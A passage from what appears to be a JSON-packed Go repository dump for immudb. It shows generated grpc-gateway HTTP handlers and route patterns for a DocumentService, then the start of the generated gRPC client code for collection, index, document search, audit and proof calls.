context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_GetCollections_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_GetCollection_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_AddField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_AddField_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_AddField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_RemoveField_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_RemoveField_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_RemoveField_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_DocumentService_ProofDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_DocumentService_ProofDocument_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_DocumentService_ProofDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\nvar (\n\tpattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{\"collection\", \"name\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"collections\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_GetCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{\"collection\", \"name\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{\"collection\", \"name\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{\"collection\", \"name\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_AddField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{\"collection\", \"collectionName\", \"field\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_RemoveField_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{\"collection\", \"collectionName\", \"field\", \"fieldName\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{\"collection\", \"collectionName\", \"index\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{\"collection\", \"collectionName\", \"index\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{\"collection\", \"collectionName\", \"documents\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_ReplaceDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{\"collection\", \"query.collectionName\", \"documents\", \"replace\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{\"collection\", \"query.collectionName\", \"documents\", \"delete\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_SearchDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{\"collection\", \"query.collectionName\", \"documents\", \"search\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_SearchDocuments_1 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{\"collection\", \"documents\", \"search\", \"searchId\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_CountDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{\"collection\", \"query.collectionName\", \"documents\", \"count\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{\"collection\", \"collectionName\", \"document\", \"documentId\", \"audit\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{\"collection\", \"collectionName\", \"document\", \"documentId\", \"proof\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n)\n\nvar (\n\tforward_DocumentService_CreateCollection_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_GetCollections_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_GetCollection_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_UpdateCollection_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_DeleteCollection_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_AddField_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_RemoveField_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_CreateIndex_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_DeleteIndex_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_InsertDocuments_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_ReplaceDocuments_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_DeleteDocuments_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_SearchDocuments_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_SearchDocuments_1 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_CountDocuments_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage\n\n\tforward_DocumentService_ProofDocument_0 = runtime.ForwardResponseMessage\n)\n"
  },
  {
    "path": "pkg/api/protomodel/documents_grpc.pb.go",
    "content": "// Code generated by protoc-gen-go-grpc. DO NOT EDIT.\n\npackage protomodel\n\nimport (\n\tcontext \"context\"\n\tgrpc \"google.golang.org/grpc\"\n\tcodes \"google.golang.org/grpc/codes\"\n\tstatus \"google.golang.org/grpc/status\"\n)\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the grpc package it is being compiled against.\n// Requires gRPC-Go v1.32.0 or later.\nconst _ = grpc.SupportPackageIsVersion7\n\n// DocumentServiceClient is the client API for DocumentService service.\n//\n// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.\ntype DocumentServiceClient interface {\n\tCreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error)\n\tGetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error)\n\tGetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error)\n\tUpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error)\n\tDeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error)\n\tAddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error)\n\tRemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error)\n\tCreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error)\n\tDeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error)\n\tInsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error)\n\tReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error)\n\tDeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error)\n\tSearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error)\n\tCountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error)\n\tAuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error)\n\tProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error)\n}\n\ntype documentServiceClient struct {\n\tcc grpc.ClientConnInterface\n}\n\nfunc NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient {\n\treturn &documentServiceClient{cc}\n}\n\nfunc (c *documentServiceClient) CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) {\n\tout := new(CreateCollectionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/CreateCollection\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) {\n\tout := new(GetCollectionsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/GetCollections\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) {\n\tout := new(GetCollectionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/GetCollection\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) {\n\tout := new(UpdateCollectionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/UpdateCollection\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) {\n\tout := new(DeleteCollectionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/DeleteCollection\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) AddField(ctx context.Context, in *AddFieldRequest, opts ...grpc.CallOption) (*AddFieldResponse, error) {\n\tout := new(AddFieldResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/AddField\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) RemoveField(ctx context.Context, in *RemoveFieldRequest, opts ...grpc.CallOption) (*RemoveFieldResponse, error) {\n\tout := new(RemoveFieldResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/RemoveField\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) {\n\tout := new(CreateIndexResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/CreateIndex\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) {\n\tout := new(DeleteIndexResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/DeleteIndex\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) {\n\tout := new(InsertDocumentsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/InsertDocuments\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) {\n\tout := new(ReplaceDocumentsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/ReplaceDocuments\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) {\n\tout := new(DeleteDocumentsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/DeleteDocuments\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) {\n\tout := new(SearchDocumentsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/SearchDocuments\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) CountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error) {\n\tout := new(CountDocumentsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/CountDocuments\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) {\n\tout := new(AuditDocumentResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/AuditDocument\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *documentServiceClient) ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) {\n\tout := new(ProofDocumentResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.model.DocumentService/ProofDocument\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// DocumentServiceServer is the server API for DocumentService service.\n// All implementations should embed UnimplementedDocumentServiceServer\n// for forward 